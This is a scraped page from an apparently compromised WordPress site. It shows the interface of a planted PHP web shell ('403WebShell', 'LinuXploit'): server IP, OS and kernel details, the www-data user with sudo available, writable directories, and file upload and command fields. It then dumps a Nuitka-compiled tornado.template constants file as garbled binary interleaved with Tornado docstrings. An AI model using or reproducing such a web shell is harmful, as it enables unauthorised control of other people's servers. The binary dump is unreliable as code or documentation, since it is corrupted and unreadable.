Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /nuitka/eggshell.build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nuitka/eggshell.build/module.tornado.template.const
���all�.��
�single�.���re�.���sub�.���([\t ]+)�.��� �.���
(\s*\n\s*)�.���
�.���oneline�.��	�(\s+)�.���invalid whitespace mode %s�.���X�Transform whitespace in ``text`` according to ``mode``.

    Available modes are:

    * ``all``: Return all whitespace unmodified.
    * ``single``: Collapse consecutive whitespace with a single whitespace
      character, preserving newlines.
    * ``oneline``: Collapse all runs of whitespace into a single space
      character, removing all newlines in the process.

    .. versionadded:: 4.3
    �.��
�escape�.���
native_str�.���name�.��
�_UNSET�.��6�2cannot set both whitespace and compress_whitespace�.���
whitespace�.��
�loader�.���endswith�.���.html���.��	�.js���.���filter_whitespace�.����.���_UnsetMarker�.���
autoescape�.���_DEFAULT_AUTOESCAPE�.��
�	namespace�.���_TemplateReader�.��	�_File�.��
�_parse�.���file�.���_generate_python�.���code�.���
to_unicode�.���%s.generated.py�.���replace�.���.��_���.���exec�.���compiled�.���_format_code�.��
�rstrip�.���app_log�.��	�error�.���%s code:
%s�.���X�Construct a Template.

        :arg str template_string: the contents of the template file.
        :arg str name: the filename from which the template was loaded
            (used for error message).
        :arg tornado.template.BaseLoader loader: the `~tornado.template.BaseLoader` responsible
            for this template, used to resolve ``{% include %}`` and ``{% extend %}`` directives.
        :arg bool compress_whitespace: Deprecated since Tornado 4.3.
            Equivalent to ``whitespace="single"`` if true and
            ``whitespace="all"`` if false.
        :arg str autoescape: The name of a function in the template
            namespace, or ``None`` to disable escaping by default.
        :arg str whitespace: A string specifying treatment of whitespace;
            see `filter_whitespace` for options.

        .. versionchanged:: 4.3
           Added ``whitespace`` parameter; deprecated ``compress_whitespace``.
        �.���xhtml_escape�.���
url_escape�.���json_encode�.���squeeze�.���linkify�.���datetime�.���_tt_utf8�.���utf8�.���_tt_string_types�.���unicode_type�.���__name__�.���
__loader__�.���
ObjectDict�.���<lambda>�.��'�#Template.generate.<locals>.<lambda>�.���
get_source���.��
�update�.���exec_in�.��
�typing�.���cast�.���Callable�.��]��builtins��bytes�����.���_tt_execute�.��
�	linecache�.���
clearcache�.��4�0Generate this template with the given arguments.�.���self�.���StringIO�.���_get_ancestors�.���reverse�.���find_named_blocks�.���named_blocks�.���_CodeWriter�.�K.���template�.���generate�.���getvalue�.��	�close�.���body�.��
�chunks�.���
_ExtendsBlock�.���
ParseError�.��7�1{% extends %} block found, but no template loader���.���load�.��
�	ancestors�.��
�extend�.��
�	templates�.��
�	threading�.��	�RLock�.���lock�.���X�Construct a template loader.

        :arg str autoescape: The name of a function in the template
            namespace, such as "xhtml_escape", or ``None`` to disable
            autoescaping by default.
        :arg dict namespace: A dictionary to be added to the default template
            namespace, or ``None``.
        :arg str whitespace: A string specifying default behavior for
            whitespace in templates; see `filter_whitespace` for options.
            Default is "single" for files ending in ".html" and ".js" and
            "all" for other files.

        .. versionchanged:: 4.3
           Added ``whitespace`` parameter.
        �.��
�	__enter__�.���__exit__�.��NNN��.��+�'Resets the cache of compiled templates.�.��D�@Converts a possibly-relative path to absolute (used internally).�.���resolve_path�.���parent_path���.���_create_template�.���Loads a template.�.��
�	__class__�.���__init__�.���os�.���path�.���abspath�.���root�.���
startswith�.���<���.���/���.���join�.�hp.���dirname�.���rb�.���Template�.���read�.��hh��.���dict�.��
�	posixpath�.���normpath�.���
each_child�.���line�.���
write_line�.���def _tt_execute():�.��
�indent�.���_tt_buffer = []�.��"�_tt_append = _tt_buffer.append�.��(�$return _tt_utf8('').join(_tt_buffer)�.��
�writer�.���include�.��	�_Node�.���
template_name�.��
�method�.���_tt_apply%d�.���
apply_counter�.�K.��
�	def %s():�.��"�_tt_append(_tt_utf8(%s(%s())))�.��
�	statement�.���%s:�.���pass�.���indent_size�.���
expression�.���raw�.���_tt_tmp = %s�.��I�Eif isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp)�.��*�&else: _tt_tmp = _tt_utf8(str(_tt_tmp))�.���current_template�.��#�_tt_tmp = _tt_utf8(%s(_tt_tmp))�.���_tt_append(_tt_tmp)�.���_tt_modules.�.��}�h��s.��	�value�.��	�<pre>�.���_tt_append(%r)�.���message�.���filename�.��
�lineno�.���%s at %s:%d�.���
include_stack�.���_indent�.��hI�object�����.��
�	metaclass�.���__prepare__�.���Indenter�.���__getitem__�.��2�.%s.__prepare__() must return a mapping, not %s�.���<metaclass>�.���tornado.template�.���
__module__�.��(�$_CodeWriter.indent.<locals>.Indenter�.���__qualname__�.��}��return��_CodeWriter�s.��2�._CodeWriter.indent.<locals>.Indenter.__enter__�.���args�.���Any�.�h�.��1�-_CodeWriter.indent.<locals>.Indenter.__exit__�.���__orig_bases__�.��
�append�.���IncludeTemplate�.��0�,_CodeWriter.include.<locals>.IncludeTemplate�.��:�6_CodeWriter.include.<locals>.IncludeTemplate.__enter__�.��9�5_CodeWriter.include.<locals>.IncludeTemplate.__exit__�.���pop�.��
�	  # %s:%d�.��*�&too many values to unpack (expected 2)�.��	�%s:%d�.��
�	 (via %s)�.���, �.��	�print�.���    �.��h!��.���text�.���pos�.���find�.��J����.��	�count�.��
�	remaining�.���indices�.��*�&too many values to unpack (expected 3)�.���
splitlines�.���%%%dd  %%s
�.��
�format�.���
_ChunkList�.��
�reader�.���{�.��	�curly�.���raise_parse_error�.��$� Missing {%% end %%} block for %s�.��	�_Text�.���consume�.��
hߌ%��#���.�K.��K��.���!�.��K��.���{#�.���#}���.���Missing end comment #}���.��	�strip�.���{{�.���}}���.���Missing end expression }}���.���Empty expression���.���_Expression�.���{%�.���%}���.���Missing end block %}���.���Empty block tag ({% %})���.��
�	partition�.��h��.��`}�(�else���(�while��try��for��if���elif���(�if���except���(�try���finally���(�try��u.���%s outside %s block�.��+�'%s block cannot be attached to %s block�.���_IntermediateControlBlock�.���end�.���Extra {% end %} block���.��a(�extends��include��set��import��from��comment��
autoescape��
whitespace��raw��module�t�.���comment�.���extends�.���"���.���'���.���extends missing file path���.���import��from���.���import missing statement���.���
_Statement�.���include missing file path���.���
_IncludeBlock�.���set�.���set missing statement���.���None�.��
�module�.���_Module�.��	�block�.��-(�apply��block��try��if��for��while�t�.���for��while���.��	�apply�.���in_loop�.���operator�.���apply missing method name���.���_ApplyBlock�.���block missing name���.���_NamedBlock�.���
_ControlBlock�.���break��continue���.����(�while��for��.���unknown operator: %r�.���X�A simple template system that compiles templates to Python code.

Basic usage looks like::

    t = template.Template("<html>{{ myvalue }}</html>")
    print(t.generate(myvalue="XXX"))

`Loader` is a class that loads templates from a root directory and caches
the compiled templates::

    loader = template.Loader("/home/btaylor")
    print(loader.load("test.html").generate(myvalue="XXX"))

We compile all templates to raw Python. Error-reporting is currently... uh,
interesting. Syntax for the templates::

    ### base.html
    <html>
      <head>
        <title>{% block title %}Default title{% end %}</title>
      </head>
      <body>
        <ul>
          {% for student in students %}
            {% block student %}
              <li>{{ escape(student.name) }}</li>
            {% end %}
          {% end %}
        </ul>
      </body>
    </html>

    ### bold.html
    {% extends "base.html" %}

    {% block title %}A bolder title{% end %}

    {% block student %}
      <li><span style="bold">{{ escape(student.name) }}</span></li>
    {% end %}

Unlike most other template systems, we do not put any restrictions on the
expressions you can include in your statements. ``if`` and ``for`` blocks get
translated exactly into Python, so you can do complex expressions like::

   {% for student in [p for p in people if p.student and p.age > 23] %}
     <li>{{ escape(student.name) }}</li>
   {% end %}

Translating directly to Python means you can apply functions to expressions
easily, like the ``escape()`` function in the examples above. You can pass
functions in to your template just like any other variable
(In a `.RequestHandler`, override `.RequestHandler.get_template_namespace`)::

   ### Python code
   def add(x, y):
      return x + y
   template.execute(add=add)

   ### The template
   {{ add(1, 2) }}

We provide the functions `escape() <.xhtml_escape>`, `.url_escape()`,
`.json_encode()`, and `.squeeze()` to all templates by default.

Typical applications do not create `Template` or `Loader` instances by
hand, but instead use the `~.RequestHandler.render` and
`~.RequestHandler.render_string` methods of
`tornado.web.RequestHandler`, which load templates automatically based
on the ``template_path`` `.Application` setting.

Variable names beginning with ``_tt_`` are reserved by the template
system and should not be used by application code.

Syntax Reference
----------------

Template expressions are surrounded by double curly braces: ``{{ ... }}``.
The contents may be any python expression, which will be escaped according
to the current autoescape setting and inserted into the output.  Other
template directives use ``{% %}``.

To comment out a section so that it is omitted from the output, surround it
with ``{# ... #}``.


To include a literal ``{{``, ``{%``, or ``{#`` in the output, escape them as
``{{!``, ``{%!``, and ``{#!``, respectively.


``{% apply *function* %}...{% end %}``
    Applies a function to the output of all template code between ``apply``
    and ``end``::

        {% apply linkify %}{{name}} said: {{message}}{% end %}

    Note that as an implementation detail apply blocks are implemented
    as nested functions and thus may interact strangely with variables
    set via ``{% set %}``, or the use of ``{% break %}`` or ``{% continue %}``
    within loops.

``{% autoescape *function* %}``
    Sets the autoescape mode for the current file.  This does not affect
    other files, even those referenced by ``{% include %}``.  Note that
    autoescaping can also be configured globally, at the `.Application`
    or `Loader`.::

        {% autoescape xhtml_escape %}
        {% autoescape None %}

``{% block *name* %}...{% end %}``
    Indicates a named, replaceable block for use with ``{% extends %}``.
    Blocks in the parent template will be replaced with the contents of
    the same-named block in a child template.::

        <!-- base.html -->
        <title>{% block title %}Default title{% end %}</title>

        <!-- mypage.html -->
        {% extends "base.html" %}
        {% block title %}My page title{% end %}

``{% comment ... %}``
    A comment which will be removed from the template output.  Note that
    there is no ``{% end %}`` tag; the comment goes from the word ``comment``
    to the closing ``%}`` tag.

``{% extends *filename* %}``
    Inherit from another template.  Templates that use ``extends`` should
    contain one or more ``block`` tags to replace content from the parent
    template.  Anything in the child template not contained in a ``block``
    tag will be ignored.  For an example, see the ``{% block %}`` tag.

``{% for *var* in *expr* %}...{% end %}``
    Same as the python ``for`` statement.  ``{% break %}`` and
    ``{% continue %}`` may be used inside the loop.

``{% from *x* import *y* %}``
    Same as the python ``import`` statement.

``{% if *condition* %}...{% elif *condition* %}...{% else %}...{% end %}``
    Conditional statement - outputs the first section whose condition is
    true.  (The ``elif`` and ``else`` sections are optional)

``{% import *module* %}``
    Same as the python ``import`` statement.

``{% include *filename* %}``
    Includes another template file.  The included file can see all the local
    variables as if it were copied directly to the point of the ``include``
    directive (the ``{% autoescape %}`` directive is an exception).
    Alternately, ``{% module Template(filename, **kwargs) %}`` may be used
    to include another template with an isolated namespace.

``{% module *expr* %}``
    Renders a `~tornado.web.UIModule`.  The output of the ``UIModule`` is
    not escaped::

        {% module Template("foo.html", arg=42) %}

    ``UIModules`` are a feature of the `tornado.web.RequestHandler`
    class (and specifically its ``render`` method) and will not work
    when the template system is used on its own in other contexts.

``{% raw *expr* %}``
    Outputs the result of the given expression without autoescaping.

``{% set *x* = *y* %}``
    Sets a local variable.

``{% try %}...{% except %}...{% else %}...{% finally %}...{% end %}``
    Same as the python ``try`` statement.

``{% while *condition* %}... {% end %}``
    Same as the python ``while`` statement.  ``{% break %}`` and
    ``{% continue %}`` may be used inside the loop.

``{% whitespace *mode* %}``
    Sets the whitespace mode for the remainder of the current file
    (or until the next ``{% whitespace %}`` directive). See
    `filter_whitespace` for available options. New in Tornado 4.3.
�.���__doc__�.��>�:/usr/local/lib/python3.8/dist-packages/tornado/template.py�.���__file__�.���__spec__�.��
�origin�.���has_location�.���
__cached__�.���os.path�.���tornado�.��h��.���tornado.log�.��h.��.���tornado.util�.��	h>hDh;��.��	�Union�.���List�.���Dict�.���Iterable�.���Optional�.��
�TextIO�.�).��h)��.��$}�(�mode�hI�str���h�joh�jou.�����A compiled template.

    We compile into Python from the given template_string. You can generate
    the template from variables with generate().
    �.���<string>�.���template_string�.���str�.��	�bytes�.���
BaseLoader�.���compress_whitespace�.���bool�.���Template.__init__�.��
�kwargs�.���Template.generate�.���Template._generate_python�.���Template._get_ancestors�.�����Base class for template loaders.

    You must use a template loader to use template constructs like
    ``{% extends %}`` and ``{% include %}``. The loader caches all
    templates after they are loaded the first time.
    �.���BaseLoader.__init__�.��}�h�Ns.��	�reset�.���BaseLoader.reset�.��N��.���BaseLoader.resolve_path�.���BaseLoader.load�.���BaseLoader._create_template�.��
�Loader�.��>�:A template loader that loads from a single root directory.�.���root_directory�.���Loader.__init__�.���Loader.resolve_path�.���Loader._create_template�.���
DictLoader�.��3�/A template loader that loads from a dictionary.�.���DictLoader.__init__�.���DictLoader.resolve_path�.���DictLoader._create_template�.���_Node.each_child�.��}�(h��_CodeWriter�h�Nu.���_Node.generate�.���_Node.find_named_blocks�.���_File.__init__�.���_File.generate�.���_File.each_child�.���_ChunkList.__init__�.���_ChunkList.generate�.���_ChunkList.each_child�.���int�.���_NamedBlock.__init__�.���_NamedBlock.each_child�.���_NamedBlock.generate�.��!�_NamedBlock.find_named_blocks�.���_ExtendsBlock.__init__�.���_IncludeBlock.__init__�.��#�_IncludeBlock.find_named_blocks�.���_IncludeBlock.generate�.���_ApplyBlock.__init__�.���_ApplyBlock.each_child�.���_ApplyBlock.generate�.���_ControlBlock.__init__�.���_ControlBlock.each_child�.���_ControlBlock.generate�.��&�"_IntermediateControlBlock.__init__�.��&�"_IntermediateControlBlock.generate�.���_Statement.__init__�.���_Statement.generate�.�����.���_Expression.__init__�.���_Expression.generate�.���_Module.__init__�.���_Text.__init__�.���_Text.generate�.��hI�	Exception�����.�����Raised for template syntax errors.

    ``ParseError`` instances have ``filename`` and ``lineno`` attributes
    indicating the position of the error.

    .. versionchanged:: 4.3
       Added ``filename`` and ``lineno`` attributes.
    �.��NK��.���ParseError.__init__�.���__str__�.���ParseError.__str__�.���_CodeWriter.__init__�.���_CodeWriter.indent_size�.��}�h��ContextManager�s.���_CodeWriter.indent�.���ContextManager�.���_CodeWriter.include�.���line_number�.���_CodeWriter.write_line�.���_TemplateReader.__init__�.��KN��.��
�needle�.��	�start�.���_TemplateReader.find�.���_TemplateReader.consume�.���_TemplateReader.remaining�.���__len__�.���_TemplateReader.__len__�.���key�.��	�slice�.���_TemplateReader.__getitem__�.���_TemplateReader.__str__�.���msg�.��%�!_TemplateReader.raise_parse_error�.��}�(h#joh�jou.��NN��.���in_block�.��hhQ��.��hQ��.���
<listcomp>�.���i�h�h܇�.���tmpl�h���.���<module tornado.template>�.��ht��.��h(hQ��.��	h(h�hQ��.��%(hQj��size�j��stop��step�t�.��(hQhhht�.��hQh]��.��(hQh�jyhtt�.��(hQh�h�htt�.��(hQh�h�h�t�.��(hQh!hVhh�t�.��(hQh�h�h�t�.��(hQh�h�h\t�.��hQh��.��(hQhh\hXh�t�.��(hQhh�h�t�.��(hQhh�ht�.��(hQj�jyhtt�.��	hQh�h���.��(hQh�h�h\t�.��	hQhXh\��.��+(hQjrhhjvhhhތformatted_code�t�.��(hQh�h�ht�.��(hQhhw�f�hXt�.��h#�lines�h܇�.��"(hQh�buffer�hVhc�ancestor�h�t�.��(hQhhc�chunk�hXt�.���(h�hXj�jFh\h�cons��start_brace�h��end��contents�jG�space��suffix��intermediate_blocks��allowed_parents�j:�fn�jm�
block_body�t�.��(hQh֌newpos��s�t�.��
jmhӆ�.��(hQj�j�jhԌindex�t�.��	hQhhV��.��(hQhhV�child�t�.��(hQhhV�included�t�.��(hQjyh�execute�t�.��hQh���.��hQh�j:��.��hQh�j��.��hQh�j��.��hQh��method_name���.��	hQh�h���.��(hQhXh�h�t�.��hQh���.��	hQhhp��.��
hQj���.��4(hQhhp�current_path��file_dir��
relative_path�t�.��(hQhhpj't�.�� (hQh�j�h��line_comment�hct�.

Youez - 2016 - github.com/yon3zu
LinuXploit